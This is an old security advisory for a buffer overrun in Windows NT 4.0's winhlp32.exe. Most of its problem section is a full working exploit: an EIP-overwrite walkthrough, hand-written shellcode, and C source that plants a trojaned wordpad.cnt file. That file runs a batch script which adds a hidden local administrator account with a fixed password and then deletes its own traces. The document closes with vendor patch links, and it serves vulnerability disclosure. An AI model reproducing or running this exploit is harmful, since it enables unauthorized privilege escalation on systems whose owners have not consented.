COMMAND
winhlp
SYSTEMS AFFECTED
WinNT 4.0
PROBLEM
Mnemonix found a vulnerability in winhlp32.exe. The buffer
overrun, as described by Mnemonix, arose when a .cnt file
contained an overly long entry string. The result was the ability
to cause winhlp32.exe to run arbitrary code (no demo offered, but
it overwrote the EIP so one is plausible). Couple this with the
fact that the winnt\help directory (where most .cnt files are
written and stored) has EVERYONE: CHANGE permissions and it
becomes possible to use this exploit to Trojan an NT box.
The Windows Help utility parses and displays help information for
applications. The help information is contained in files of
several types that are generated by the Help Compiler (part of the
AppWizard utility), and is stored by default in the WINNT\help
folder. By default, users can write to this folder. An unchecked
buffer exists in the Help utility, and a help file that has been
carefully modified could be used to execute arbitrary code on
the local machine via a classic buffer overrun technique. Because
the Help Compiler's output files do not generate the specific
malformation at issue here, this vulnerability could not be
accidentally exploited. The machines primarily at risk from this
vulnerability are workstations, terminal servers, and other
machines that allow users to log on interactively and add or
modify help files. Servers generally do not allow normal users
to interactively log on.
Fact is that this exploit can be invoked without ever having to
touch the winnt\help directory, which means that MS' claims about
it not being exploitable remotely are somewhat mis-stated. Any
application will look first in its execution directory for an
application specific .cnt file. So while the .hlp file might be
in the winnt\help directory (with a .cnt file even), if a .cnt
file exists with the correct name in the application execution
directory, any call to help from the application will bring up the
contents of the .cnt file in the application execution directory.
If that .cnt file has been, um, malformed (to use MS'
description), it can cause, um, a malfunction (or worse). If a
.cnt file can be found in a user's path, it will similarly be used
prior to one existing in the winnt\help directory. The number of
possible locations that are widely available to non-Administrator
users for the introduction of a Trojan'd .cnt file are, well, far
too high to accept MS' rather subdued warning.
For those that don't already know, a .cnt file is a file
containing the information that gets displayed when you first
bring up a help file. It is the "Contents" tab information. It
is normally generated as part of compiling .rtf (Rich Text Files)
files into .hlp (help) files. Additional exploit and analysis
of the Winhlp32.exe buffer overrun follows.
The buffer overrun in winhlp32.exe occurs when it attempts to read
a cnt file with an overly long heading string. If the string is
longer than 507 bytes the buffer overrun does not occur - winhlp32
just truncates the entry. The return address is overwritten with
bytes 357, 358, 359 and 360. Everything before these bytes is
lost giving us bytes 361 to 507 to play with - a total of 147
bytes for our exploit code. On playing around with the overrun
we find we lose about another 20 of these bytes giving us only 127
bytes to play with - not a lot really.
On overruning the buffer and analysing the contents of memory and
the CPU's registers with a debugger we find that byte 361 is found
at 0x0012F0E4. This is the address we need to get the processor
to go to to get its next instruction - but this address has a NULL
in it which totally messes things up. However, looking at the
registers we can see that the ESP, the Stack Pointer, holds this
address so if we can find somewhere in memory that does a JMP ESP,
and set the return address to this then we should be able to get
back to the address where we'll place our exploit code. Looking
at the DLLs that winhlp32.exe uses we find that kernel32.dll has
the JMP ESP instruction at 0x77F327E5 (Service Pack 4's version of
kernel32.lib - at 0x77F327D5 on Service Pack 3's kernel32.dll??).
So we put 0x77F327E5 into bytes 357 to 360 but we have to load it
in backwards so byte 357 we'll set to 0xE5, byte 358 to 0x27, byte
359 to 0xF3 and byte 360 to 0x77.
Now we've jumped back to our exploit code we have to decide what
we wan to put in it. Because we only have 127 bytes to do
anything meaningful we need to start another program - the best
thing is to get it to run a batch file. This means calling the
system ( ) function which is exported by msvcrt.dll which isn't
loaded into the address space of winhlp32.exe - so we'll have to
load it. How do we do this? We have to call LoadLibrary ( )
which is exported by kernel32.dll which is in the address space.
LoadLibraryA ( ) is exported at address 0x77F1381A so all we need
to do is have the string "msvcrt.dll" in memory somewhere and call
0x77F1381A with a reference to the pointer to the null terminated
"msvcrt.dll" string. Because it has to be null terminated we'll
get our code to write it into memory. Once this is done we'll
place the address of LoadLibraryA ( ) onto the stack then place
the address of the pointer to "msvcrt.dll" and finally call
LoadLibraryA ( ) using an offset from the EBP. The following is
the Assembly Code needed to do this:
/*First the procedure prologue */
push ebp
mov ebp,esp
/*Now we need some zeroes */
xor eax,eax
/* and then push then onto the stack */
push eax
push eax
push eax
/* Now we write MSVCRT.DLL into the stack */
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
/* move the address of LoadLibraryA ( ) into the edx register */
mov edx,0x77F1381A
/* and then push it onto the stack */
push edx
/* Then we load the address where the msvcrt.dll string can be found */
lea eax,[ebp-0Ch]
/* and push it onto the stack */
push eax
/* Finally we call LoadLibraryA( )
call dword ptr[ebp-10h]
All things going well we should have now loaded msvcrt.dll into
the address space of winhlp32.exe. With this in place we now need
to call system() and provide the name of a batch file to it as
an argument. We don't have enough bytes to play with to call
GetProcessAddress ( ) and do the rest of the things we have to do
like clean up so we check what version of msvcrt.dll we have
before writing the code and see where system ( ) is exported at.
On a standard install of Windows NT this will normally be version
4.20.6201 with system () exported at 0x7801E1E1. We'll call the
batch file ADD.bat but to save room we won't give it an extention.
The system ( ) function will try the default executable extentions
like.exe, .com and .bat and find it for us then run it. Once it
has run it the cmd.exe process system( ) has launched will exit.
So we need to have the null terminated string "ADD" in memory and
the address of system ( ). Below is the code that will write "ADD"
onto the stack and then call system( )
/*First the procedure prologue */
push ebp
mov ebp,esp
/* We need some NULL and then push them onto the stack */
xor edi,edi
push edi
/* Now we write ADD onto the stack */
mov byte ptr [ebp-04h],41h
mov byte ptr [ebp-03h],44h
mov byte ptr [ebp-02h],44h
/* Place address of system ( ) into eax and push it onto the stack */
mov eax, 0x7801E1E1
push eax
/* Now load eax with address of ADD and push this too */
lea eax,[ebp-04h]
push eax
/ * Then we call system ( ) */
call dword ptr [ebp-08h]
Once the batch file has been run the Command Interpreter will exit
and if we don't clean up after ourselves winhlp32.exe will access
violate so we need to call exit (0) to keep it quiet. exit ( )
is also exported by msvcrt.dll at address 0x78005BBA - which has a
null in it. It's not a major problem - we can fill a register
with 0xFFFFFFFF and subtract 0x87FFA445 from it. The following
code calls exit (0)
/* Procedure prologue */
push ebp
mov ebp,esp
/* Round about way of getting address of exit () into edx */
mov edx,0xFFFFFFFF
sub edx,0x87FFAF65
/* Push this address onto the stack */
push edx
/* Get some nulls - this is our exit code - and push them too */
xor eax,eax
push eax
/* then call exit()! */
call dword ptr[ebp-04h]
Altogether our code looks like this:
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0x77F1381A
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
push ebp
mov ebp,esp
xor edi,edi
push edi
mov byte ptr [ebp-04h],43h
mov byte ptr [ebp-03h],4Dh
mov byte ptr [ebp-02h],44h
mov eax, 0x7801E1E1
push eax
lea eax,[ebp-04h]
push eax
call dword ptr [ebp-08h]
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFA445
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
Now we need the operayion codes (opcodes) for all this which we do
by writing a program that uses the __asm function and then debug
it. This is what we actually load into our exploit code.
Following is the source of a program that will create a "trojaned"
wordpad.cnt. It will also create a batch file called add.bat -
edit it as you see fit. Compiled program available at:
http://www.infowar.co.uk/mnemonix/winhlpadd.exe
Note that this will run only on standard installs of NT with
service pack 4 and expects an msvcrt.dll version of 4.20.6201 -
run it from the winnt\help directory.
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(void)
{
char eip[5]="\xE5\x27\xF3\x77";
char
ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x
45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\x
C6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\x
F1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x
41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\x
FF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC";
FILE *fd;
printf("\n\n*******************************************************\n");
printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n");
printf("* This version runs on Service Pack 4 machines and *\n");
printf("* assumes a msvcrt.dll version of 4.00.6201 *\n");
printf("* *\n");
printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n");
printf("*******************************************************\n\n");
fd = fopen("wordpad.cnt", "r");
if (fd==NULL)
{
printf("\n\nWordpad.cnt not found or insufficient rights to access
it.\nRun this from the WINNT\\HELP directory");
return 0;
}
fclose(fd);
printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");
system("copy wordpad.cnt wordpad.sav");
printf("\n\nCreating wordpad.cnt with exploit code...");
fd = fopen("wordpad.cnt", "w+");
if (fd==NULL)
{
printf("Failed to open wordpad.cnt in write mode. Check you have
sufficent rights\n");
return 0;
}
fprintf(fd,"1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,ExploitCode)
;
fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");
fclose(fd);
printf("\nCreating batch file add.bat\n\n");
fd = fopen("add.bat", "w");
if (fd == NULL)
{
printf("Couldn't create batch file. Manually create one instead");
return 0;
}
printf("The batch file will attempt to create a user account called
\"winhlp\" and\n");
printf("with a password of \"winhlp!!\" and add it to the Local
Administrators group.\n");
printf("Once this is done it will reset the files and delete itself.\n");
fprintf(fd,"net user winhlp winhlp!! /add\n");
fprintf(fd,"net localgroup administrators winhlp /add\n");
fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");
fprintf(fd,"del wordpad.sav\n");
fprintf(fd,"del add.bat\n");
fclose(fd);
printf("\nBatch file created.");
printf("\n\nCreated. Now open up Wordpad and click on Help\n");
return 0;
}
SOLUTION
The patch prevents arbitrary code from being executed on the
machine, but does not prevent malformed help files from causing
the Help utility to fail. However, failure of the Help utility
does not threaten system stability or security, and the Help
utility can be restarted without incident. The patch can be found
at:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-po stSP5/winhlp32-fix/winhlp-i.exe
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-po stSP5/winhlp32-fix/winhlp-a.exe